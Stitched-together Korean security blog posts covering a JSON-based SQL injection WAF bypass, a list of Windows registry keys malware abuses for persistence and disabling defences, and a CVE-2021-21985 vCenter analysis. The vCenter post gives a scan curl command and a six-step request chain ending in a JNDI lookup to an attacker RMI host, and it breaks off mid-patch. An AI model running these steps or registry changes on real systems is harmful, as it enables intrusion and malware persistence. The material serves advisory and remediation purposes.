SQLite: '{"a":2,"c":[4,5,{"f":7}]}' -> '$.c[2].f' = 7 
> Does the extracted value of this JSON equals 7? True. 

MySQL: JSON_EXTRACT('{"id": 14, "name": "Aztalan"}', '$.name') = 'Aztalan' 
> Does the extracted value of this JSON equals to ‘Aztalan’? True.

 

- WAF가 유효한 SQL로 인식하지 않지만 데이터베이스 엔진에서 SQL Injection으로 분석된다면 우회가 가능함

- JSON 구문을 사용하는 유효한 SQL 문을 전달했을 때 WAF에서 탐지되지 않음

※ 오른쪽 JSON이 왼쪽 JSON에 포함되어 있는지 확인하는 JSON 연산자 @>는 WAF를 우회할 수 있음 ([사진 3] 참고)

[사진 3] JSON 구문이 포함된 SQL Injection에 대한 200 응답값

 

- 간단한 JSON 구문을 요에 추가하여 SQL Injection을 수행할 경우 클라우드에서 민감한 정보를 얻을 수 있음

[사진 4] JSON 구문이 포함된 SQL Injection을 통한 클라우드에서의 정보 탈취

 

- 이 우회의 핵심 문제는 데이터베이스 엔진과 SQL Injection 탐지 솔루션 간의 적합성 부족 문제
- 이는 SQL의 JSON 기능이 잘 알려진 기능이 아니며 해당 구문이 WAF 파서에 추가되지 않았기 때문임

- 공격자가 피해 서버에 어떤 WAF가 있는지 확인할 수 없더라도 JSON 기반 SQL Injeciton 공격을 통해 우회 및 악용할 수 있음.

 

- 오픈소스 SQL Injetion 자동화 툴 SQLMap의 최신 버전에서 JSON 구문 회피 기술이 추가됨.

 

GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

Automatic SQL injection and database takeover tool - GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

github.com

 

- SQLMap에서는 일부 WAF 우회 기술을 제공하지만 일반적인 SQL Injection은 대부분 최신 WAF에서 쉽게 탐지/차단

[사진 5] SQLMap에서 SQL Injection 공격 시 WAF 탐지/차단

 

- 그러나 임의로 생성된 JSON 구문을 추가하여 SQLMap에서 악성 페이로드 공격 시 WAF 우회 및 성공적으로 악용할 수 있음.

- SQLMap 옵션 : --temper json_waf_bypass

[사진 6] JSON 기반 SQL Injection 공격 시 WAF 우회

4. 대응

- 5곳의 주요 WAF 공급업체 모두 SQL Injection 검사 프로세스에 JSON 구문을 지원하도록 업데이트 적용

※ 관련 WAF 공급 업체 : Palo Alto Networks, Amazon Web Services, Cloudflare, F5 Big-IP, Imperva

- 5곳 외 타 보안장비 벤더사에서도 관련된 패치 제공 및 솔루션에 패치 적용 필요

[사진 7] JSON 구문에 대한 지원을 추가한 Amazon AWS ELB 규칙 세트에 대한 AWS 릴리스 정보
[사진 8] JSON 구문에 대한 지원을 추가한 F5 BIG-IP의 승인

5. 출처

 

{JS-ON: Security-OFF}: Abusing JSON-Based SQL to Bypass WAF

Team82 developed a generic web application firewall bypass that exploits a lack of JSON syntax support in leading vendors' SQL injection inspection process.

claroty.com

1. 레지스트리

- 시스템, 사용자, 프로그램, 서비스, 드라이버 등 PC 운용에 반드시 필요한 정보를 저장해둔 데이터베이스

- 윈도우+R > regedit.exe(또는 regedit)를 통해 접근하며, 키(Key_폴더의 개념)와 값(Value_파일의 개념)로 구성

- 레지스트리는 수많은 논리를 구분하는 하이브(Hive)로 나눌 수 있으며, 하이브는 모두 HKEY로 시작

하이브 약칭 설명
HKEY_CLASSES_ROOT HKCR - 파일 확장자와 특정 프로그램을 연결시켜주는 참조 테이블
- OLE 데이터와 확장자에 대한 정보, 파일과 프로그램 각 연결 정보가 포함
- 파일 확장자들이 서브트리로 구성, 각 확장자는 파일타입과 연결되어 해당 프로그램을 확인가능
HKEY_CURRENT_USER HKCU - 현재 로그인한 사용자의 설정을 저장
HKEY_LOCAL_MACHINE HKLM - 시스템 전체 설정을 저장
- 부팅과 관련된 5개의 하위키를 가짐
① HKLM\HARDWARE
> 휘발성 정보로 메모리에 존재
> 모니터 포트 등 부팅 시 관련된 하드웨어 장치와 드라이버 맵핑 정보들을 저장

② HKLM\SAM
> 사용자의 로컬 계정 정보(사용자 패스워드, 사용자 프로필 등)와 그룹 정보를 갖고 있음 (리눅스 /etc/passwd와 비슷)
> 일반 관리자 계정으로도 접근이 불가능하며, 시스템 계정으로만 접근 가능

③ HKLM\SECURITY
> 시스템 범위의 보안 정책과 사용자 권한 할당 정보, 현재 시스템의 패스워드 또는 마지막 로그온 사용자의 패스워드 등의 정보를 가짐
> 시스템 계정으로만 접근이 가능

④ HKLM\SYSTEM
> 시스템이 부팅될 때의 환경 설정 정보를 가짐
> 시스템이 정상적 부팅되었을 때 복사되며, 시스템이 비정상적으로 종료되었을 때 복사해 둔 정보를 바탕으로 부팅할 수 있는 옵션을 사용자에게 제공
> 복사본은 일반적으로 '마지막으로 성공한 구성'이라고 부름
> 해당 하이브에서 중요한 것은 바로 CurrentControlSet 키(보통 2개 이상 존재)
> CurrentControlSet은 부팅에서 사용된 ControlSet 키(ControlSet001_최근 부팅에서 사용한 키 또는 ControlSet002_마지막으로 성공한 구성)의 링크이고, 같은 레벨에 있는 Select 키에서 확인 가능

⑤ HKLM\SOFTWARE
> 시스템 범위의 소프트웨어 목록과 그 환경 설정 정보가 저장
> 환경설정 정보에는 애플리케이션 이름, 경로, 라이센스 정보, 만료 날짜 등이 포함
HKEY_USERS  HKU - 시스템의 모든 사용자에 대한 모든 설정을 저장
- HKEY_CURRENT_USER 키에 일치하는 서브키를 가지고 있음
HKEY_CURRENT_CONFIG HKCC - 시스템 시작 시 사용되는 하드웨어 프로파일 저장
- 현재 활성화된 하드웨어 알아보기 위해 참조
HKEY_PERFORMANCE_DATA - - 런타임 성능 데이터 정보를 제공
- 레지스트리 편집기에 보이지 않지만 윈도우 API의 레지스트리 명령어를 통해 확인 가능
HKEY_DYN_DATA - - 윈도우 95, 윈도우 98, 윈도우 Me에만 쓰임
- 플러그 앤 플레이를 비롯한 하드웨어 장치, 네트워크 성능 통계에 대한 정보를 포함

 

2. 악성코드가 이용하는 레지스트리 정보

[탐색기 폴더 옵션의 파일 숨김 속성]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
- HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue

 

[파일의 속성 부분에서 체크박스 활성/비활성]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\DefaultValue

 

[오토런 설정]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun
- USB 같은 이동형 저장장치에 대해 Autorun 설정을 합니다. (0xFF로 설정 시 Block, 0x00으로 설정 시 모두 허용)

 

[윈도우 주요 설정 툴 실행 방지]
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr
- HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD

 

[Image File Execution Options 이용하여 프로그램 실행 방지]
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution\Options\calc.exe Debugger = notepad.exe
- 계산기 실행 시 노트패드로 전환되어 실행. (AV 실행을 막거나, 포렌직 툴 실행을 막기위해 변조함)

 

[시작프로그램 관련]
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\userinit
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

- HKLM\Software\Microsoft\Windows\CurrentVersion\policies\Explorer
DisableLocalMachineRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
DisableCurrentUserRunOnce=1:DWORD
DisableLocalMachineRun=1:DWORD
- 이러한 키가 설정되면 시작프로그램에 등록된 프로그램이 실행이 안됨.

HKLM\SOFTWARE\Classes\exefile\shell\open\command
@="soundmix \"%1\" %*"
- soundmix 프로세스를 KILL 하여도 계속적으로 재실행

 

[인터넷 익스플로러]
- HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel
- 해당 키 안에 ResetWebSettings 값이나 HomePage 값이 있으면 시작 페이지 부분 비활성화. (재부팅이 필요 합니다) 

[HKEY_CURRENT_USER\Software\Policies\Microsoft\internet explorer\restrictions]
"NoBrowserOptions"=dword:00000001
- 인터넷 옵션 실행불가 관련 레지스트리

[HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"AdvancedTab"=dword:00000001
"PrivacyTab"=dword:00000001
"ProgramsTab"=dword:00000001
"ConnectionsTab"=dword:00000001
"ContentTab"=dword:00000001
"SecurityTab"=dword:00000001
"GeneralTab"=dword:00000001
- 역시 인터넷 옵션 실행불가 관련 레지스트리

 

[네트워크 관련]
HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\MaxUserPort
- 윈도우에서 허용하는 네트워크 연결 개수 수정(주로 Spamer가 변조)

[HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\00000000000*]
"PackedCatalogItem" 이진값 문자열에 악성코드가 삽입되어 있을 경우 네트워크가 정상적으로 동작하지 않음.
netsh winsock show catalog 명령어로 확인 가능, 복구툴 : http://www.cexx.org/lspfix.htm

 

[윈도우 보안 정책 관련]
HKLM\SYSTEM\ControlSet001\Services\wscsvc\Start
- wscsvc : 윈도우 시큐리티 보안센터, 윈도우 시큐리티 보안센터 시작을 꺼버립니다.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\EnableLUA
- 윈도우 VISTA UAC 기능 무효화

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall 
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\DoNotAllowExceptions  
HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
- 윈도우 방화벽 관련 정책 변경

HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM
- 분산 컴포넌트 객체 모형에 해당하는 값을 변경 [DCOM, Distributed Component Object Model]

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusDisableNotify
- 보안센터 바이러스 백신 경보에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify
- 보안센터 바이러스 사용자지정 백신에 해당하는 값을 변경

HKLM\SOFTWARE\Microsoft\Security Center\AntiVirusOverride
- 보안센터 바이러스 방화벽 경보에 해당하는 값을 변경

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Start
- 연결공유서비스에 해당하는 값을 변경한다.

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous
- 익명연결(널세션)에 해당 하는 값을 변경

 

[제어판 관련]
HKCU\Control Panel\don't load\"access.cpl" = "No"
HKCU\Control Panel\don't load\"appwiz.cpl" = "No"
HKCU\Control Panel\don't load\"hdwwiz.cpl" = "No"
HKCU\Control Panel\don't load\"inetcpl.cpl" = "No"
HKCU\Control Panel\don't load\"intl.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
HKCU\Control Panel\don't load\"main.cpl" = "No"
HKCU\Control Panel\don't load\"ncpa.cpl" = "No"
HKCU\Control Panel\don't load\"netcpl.cpl" = "No"
HKCU\Control Panel\don't load\"nusrmgr.cpl" = "No"
HKCU\Control Panel\don't load\"timedate.cpl" = "No"
HKCU\Control Panel\don't load\"joy.cpl" = "No"
- 제어판에서 메뉴를 보이지 않도록 한다.

 

[바탕화면 배경화면 관련]
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\ActiveDesktop\

 

[윈도우 시작시 자동실행 - Run]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe” 
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunOnce]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\”Attack” = “%System%\Attack.exe”

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
==> 윈도우가 시작할때 동작할 수 있는 레지스트리.

 

[윈도우 시작시 자동실행 - RunServices]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\”Attack” = “c:\windows\Attack.exe”

 

[윈도우 시작시 자동실행 - Winlogon]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell" = "Explorer.exe %System%\attack.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell"

원래는 Explorer.exe 만 있는게 정상이다. explorer.exe 로 사용자와 컴퓨터간의 대화를 할 수 있게 한다.
여기에 악성코드 경로를 넣어주면, 사용자가 명령을 할 때마다 악성코드가 실행되는 것이다.

 

[윈도우 시작시 자동실행 - Userinit]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Userinit" = "%System%\userinit.exe, %System%\attack.exe"

원래는 "%System%\userinit.exe만 있는게 정상이다. 
부팅이 되고,, winlogon 이 실행되서 로그인을 하고 들어가면, userinit 가 실행이 되서 explorer.exe 를 실행하는 것이다.
요런 흐름인데 explorer.exe 가 실행되기 전에 악성코드가 실행되어 버리니..
백신도 진단을 못할 수도 있는법이다~

 

[윈도우 시작시 자동실행 - Taskman]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Taskman" = "%SystemDrive%\RECYCLER\[SID]\attack.exe"

원래는 Taskman 이라는 값이 없다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{5Y99AE78-58TT-11dW-BE53-Y67078979Y}\

정상파일 :  system32 폴더 ==>  iedkcs32.dll /ie4uinit.exe / ieuddinit.exe / shmgrate.exe
                advpack.dll / mscories.dll / themeui.dll / shell32.dll
                c:\program files\outlook express\setup50.exe
                c:\windows\inf\unregmp2.exe
{5Y99AE78-58TT-11dW-BE53-Y67078979Y} 는 악성코드..

 

[DLL Injection 을 위한 변경 - AppInit_DLLs]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\"AppInit_DLLs" = "악성코드경로\attack.dll"

DLL Injection 이라는 것은 여러가지 방법이 있는데 그중 한 방법이다.
레지스트리에 위와 같이 등록이 된다면, 어떠한 프로세스에서 user32.dll (실행시 필요) 을 호출할 시에 user32.dll 은 LoadLibrary() 함수를 이용할 것이고, AppInit_DLLs 안에 지정된 DLL 들을 호출할 것이다.
LoadLibrary() 함수에는 인자값이 DLL_PROCESS_ATTACH 를 지정해 준다. 그러므로 중간에 끼어들어갈 수 있다.

 

[DLL Injection - InprocServer32]
HKEY_CLASSES_ROOT\CLSID\{00000000-0000-0000-0000-000000000000}\InprocServer32\"기본값" = "....\attack.dll"

이것은 attack.dll 에 있는 값을 얻어 컴포넌트 파일의 경로를 알아낸다.
즉.. LoadLibrary() 를 호출하면 (user32.dll 사용시) 클라이언트 프로세스 안에 DLL 컴포넌트를 로드시킨다.

 

[DLL Injection - RemoteAccess]
HKEY_LOCAL_MACHINE\System\CurrentControlSet\RemoteAccess\Parameters"ServiceDLL" = "....\attack.dll"

서비스에서 Routing and Remote Access 를 가로챈다.
정상적인 값은 %SystemRoot%System32\mprdim.dll 이다.

 

[윈도우 시작시 자동실행 - Active Setup]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789101(임의의번호)}\"StubPath" = "%SystemDrive%\RESTORE\[SID]\악성코드.exe"

위의 경로에서 c:\RESTORE\[SID]\ 에는 Desktop.ini 가 같이 존재하여 두개가 유기적으로 동작한다.

 

[서비스 변경]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\[Service Name]\"Start" = 3

2 = 자동 /  3 =  수동 / 4 = 사용안함
정상적인 서비스의 레지스트리 값을 조정한다.

 

[IFEO 값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\악성코드.exe\"Debugger" = "ntsd -d"

프로그램이 실행되면 위 경로로 가기 때문에 파일들이 실행이 되지 않는다.
정상적인 것은 c:\windows\system32\ntsd.exe ..
나머지는 Debugger 값이 없다.

 

[BHO 값 변경 - Browser Helper Objects]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"
 
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\[Random CLSID]\"기본값" = "%Windir%\attack.dll"

BHO 는 개발자들이 인터넷 익스플로어를 제어하고 사용자가 원하는대로 바꾸도록 지원해 주는 것이다.
인터넷 익스플로어가 시작될 때, 레지스트리에서 BHO 를 찾고 자동으로 생성한다. 그러므로 이 특징을 이용해 악의적인 행위를 한다.

 

[안전모드에서 부팅 못하게..]
HKEY_LOCAL_MACHINE\system\CurrentControlSet\Control\SafeBoot\

악성코드는 위의 키를 아예 삭제해 버린다.

 

[방화벽 우회 - 방화벽 내리기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001(&ControlSet002&CurrentControlSet)Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
"EnableFirewall" = 0

EnableFirewall 의 값은 원래부터 있는 값은 아니고, 윈도우 방화벽을 내리면 생기는 키값이다.
위의 방법으로 윈도우 방화벽을 우회한다.

 

[방화벽 우회 - 악성코드 권한주기]
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\AuthorizedApplications\List\%Windir%\system32\"attack.exe" = "%Windir%\system32\attack.exe:*:Enabled:@xpsp2res.dll,-22019" = "Explorer.exe %System%\attack_1.exe"

ControlSet002 / CurrentControlSet 도 마찬가지 이다.
그리고 위에서는 보라색 글자와 같이 DomainProfile 에서 바꾸어 주었는데 이곳이 아닌 StandardProfile 에서도 바꾸어 준다.
뭐.... 워낙 영어에 취약한 지라..  한글로 풀어써서 이해를 하였다.
서비스\공유접근\매개변수\방화벽정책\사용자프로파일\권한응용프로그램\목록\
오호~  방화벽 정책에서 악성코드에 권한을 주는구만?    이라고.. 난 해석하였다.

 

[트레이의 말풍선 도움말 설정]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\"EnableBalloonTips" = "1"

위의 내용은 허위로 안내 도움말을 하기 위해 켜놓은 것이다. 원래의 값은 0이다. 보통 허위안티바이러스에서 많이 사용을 한다.
사용자에게 지속적으로 감염되었다고 알려주어 겁주고 결제 요구한다...
EnableBalloonTips  ==> 표시줄 트레이의 풍선 도움말
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[작업관리자 사용금지하게 하는 것]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableTaskMgr" = "1"

Task Manager 를 비활성화 시킨다. 이것은 우리가 흔히 알고 있는 작업관리자이다.
작업관리자(Ctrl+Alt+Del)가 뜨지 않는다면 요 레지스트리가 1로 되어있기 때문에 뜨지 않는 것이다.
악성코드들은 자기자신을 은폐하려 들기 때문에 작업관리자를 사용하지 못하도록 한다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[제어판 사용 금지]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoControlPanel" = "1"

NoControlPanel 은 제어판에 사용자가 접근하는 것을 제한하는 것이다.
이것을 1로 설정해 놓으면 제어판을 열수가 없다.
HKEY_LOCAL_MACHINE 이외에 HKEY_CURRENT_USER 도 수정한다.

 

[레지스트리 사용 금지]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\"DisableRegistryTools" = "1"

Disable (무능력하게 하다) RegistryTools (레지스트리툴을)
레지스트리 툴 사용을 무능력하게 하여, 사용자의 접근을 막는다.

 

[업데이트 사용 금지 - HKLM]
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU\"NoAutoUpdate" = "1"

자동 업데이트를 막는다.

 

[업데이트 사용 금지 - HKCU]
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\"NoWindowsUpdate" = "1"

 

[보호된 운영체제 파일 숨기기  - 폴더 옵션]
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden
"Type" = "nonprintable characters"

악성코드 자신을 보호하고 파일을 숨기면 사용자는 악성코드에 접근할 수 없다.  그러므로 이 레지스트리 값을 이용하여 자신에게 접근을 보호한다.
Type 값에 이상한 글자를 넣게 된다면..  폴더 옵션에서 아예 메뉴가 나오지 않는다.

 

[다운시 보안 팝업창 무력화]
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download
"CheckExeSignatures" = "no"

인터넷에서 다운로드를 해 실행을 하면 경고창을 띄우는 것을 우리는 알고 있다.
그러나 위의 레지값을 변경하면 경고창 없이 설치가 되버린다.

 

[exe 파일이 열리지 않을때 - 프로그램 선택하라는 창이 나올 때  ]
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\exefile\shell\open\command\"기본값" = "%1" %* 
위와 같이 기본값을 변경해 주어야 한다. 

HKEY_CLASSES_ROOT\.exe\"기본값" = "secfile"
HKEY_CLASSES_ROOT\.exe\"기본값" = "exefile"
secfile 값을 exefile 로 고쳐준다.

HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\.exe\shell\open\command\"기본값" = "%1" %* 
키를 삭제해주어도 무방.

HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = ""악성코드경로" /START "%1" %*"
HKEY_CLASSES_ROOT\secfile\shell\open\command\"기본값" = "%1" %*
키를 삭제해주어도 무방.

악성코드는 secfile 이라는 것을 만들어 exe 가 실행되면 자신이 만들어 놓은 레지스트리 대로 행동하게 한다.
아래 값들처럼 복구를 해주어야 한다.
  
아래와 같이 레지스트리를 생성하는 경우도 있다. 그럴 때는 이 키들을 삭제해주어야 한다.

HKEY_CURRENT_USER\Software\Classes\.exe\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*
HKEY_CURRENT_USER\Software\Classes\secfile\shell\open\Command\"기본값" = "악성코드 경로" /START "%1" %*

간혹,,, 아래 표와같은 레지스트리 변경건도 있을 수 있다.
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\safemode\Command\"기본값" = "악성코드 경로" /START "C:\Program File\MozillaFirefox\firefox.exe"  -safe-mode
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\Command\"기본값" = "악성코드 경로" /START "C:\Program File\InternetExplorer\iexplore.exe"  -safe-mode
위 레지스트리 값은 삭제해준다.

 

[익스플로어 검색 기본값 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Default_Search_URL" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 검색 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Search page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

[익스플로어 시작 페이지 변경]
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\"Start Page" = "정상적인 것은 microsoft 주소가 적혀 있어야함"

 

※ 출처

 

악성코드가 이용하는 Windows Registry 정보

[탐색기 폴더 옵션의 파일 숨김 속성] HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explor

jyj850714.tistory.com

 

3. 참고

https://ko.wikipedia.org/wiki/%EC%9C%88%EB%8F%84%EC%9A%B0_%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC

https://yum-history.tistory.com/265

https://m.blog.naver.com/nologout/19168074

https://jyj850714.tistory.com/130

https://comeinsidebox.com/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-registry%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B4%EB%A9%B0-%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC-%ED%8E%B8%EC%A7%91%EA%B8%B0%EB%A5%BC-%EC%82%AC/

'악성코드 > 분석' 카테고리의 다른 글

BYOVD (Bring Your Own Vulnerable Driver) 기법  (0) 2023.03.22
제로클릭(Zero-Click)  (0) 2023.02.20
Gh0st RAT(Remote Access Trojan)  (0) 2022.11.28
2021.03.28 PHP Git 서버 해킹 사건_백도어  (1) 2022.11.25
C2aaS(C2-as-a-Service)  (0) 2022.11.19

1. vCenter Server

- VM웨어는 클라우드 서비스 플랫폼을 구축하기 위하여 vSphere 솔루션을 공급

- vSphere : 가상화를 활용하여 데이터센터를 단순화된 클라우드 컴퓨팅 인프라로 전환하여 IT 조직에서 유연하고 안정적인 서비스를 제공하기 위한 목적으로 사용

- 이러한 환경을 중앙에서 편리에서 관리할 수 있도록 vCenter Server를 제공

- vCenter Server : 다중 호스트의 리소스를 관리할 수 있으며, 물리 및 가상 인프라를 중앙에서 모니터링하고 관리

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2021-21985

- vCenter Server에서 제공되는 Virtual SAN 상태 점검 플러그인(vSAN 플러그인)의 입력 유효성 검사 부족으로 인한 원격 코드 실행 취약성

- 해당 취약점을 Exploit에 성공할 경우 서버 전체를 장악 가능함

① 영향받는 버전
- VMware vCenter Server 버전 6.5, 6.7 및 7.0
- Cloud Foundation(vCenter Server) 버전 3.x ~ 4.x

② 조건
443 Port에 대한 네트워크 엑세스 권한 有

 

2.1 분석

- vSAN 플러그인은 사용 유무에 관계 없이 모든 vCenter Server 배포시 기본 활성화

- invokeServiceWithJson() 메서드에서 사용자 요청값에대한 입력값에 대한 검증 없이 추출 후 매개변수로 사용

※ 경로 : src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

[사진 2]&nbsp;src/h5-vsan-service.jar/com/vmware/vsan/client/services/ProxygenController.java

 

- 먼저 공격자는 취약점이 존재하는 인터넷에 노출된 VMware vCenter 장치를 쇼단 또는 curl 명령 등을 통해 찾음

- 아래 curl 명령을 사용할 경우 응답값 내에서 {“result”:{“isDisconnected”: 를 찾음 (취약한 경우 false 반환)

curl -k -X POST -H 'Content-Type: application/json' -d '{"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}' 'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'

[사진 3] shodan 검색 화면

 

- 이후 공격자는 다음의 명령을 순차적으로 수행해 Exploit을 수행함

Step1
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetObject
{"methodInput":[null]}

Step2
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setStaticMethod
{"methodInput":["javax.naming.InitialContext.doLookup"]}

Step3
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setTargetMethod
{"methodInput":["doLookup"]}

Step4 
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/setArguments
{"methodInput":[["rmi://attip:1097/ExecByEL"]]}

Step5
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/prepare
{"methodInput":[]}

Step6
https://host/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService/invoke
{"methodInput":[]}

 

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 보안 패치 적용

제품 플랫폼 영향받는 버전 최신 버전
vCenter Server 모든 플랫폼 6.5 6.5 U3p
6.7 6.7 U3n
7.0 7.0 U2b
Cloud Foundation 3.x 3.10.2.1
4.x 4.2.1

 

- Virtual SAN 상태 점검 플러그인의 /rest/* 끝점에 인증을 추가

--- a/unpatched/src/h5-vsan-context.jar/WEB-INF/web.xml
+++ b/patched/src/h5-vsan-context.jar/WEB-INF/web.xml
@@ -5,6 +5,21 @@

    <display-name>h5-vsan-service</display-name>

+   <context-param>
+      <param-name>contextConfigLocation</param-name>
+      <param-value>/WEB-INF/spring/bundle-context.xml</param-value>
+   </context-param>
+
+   <!-- The application context needs to be OSGI-enabled in order to look up services -->
+   <context-param>
+      <param-name>contextClass</param-name>
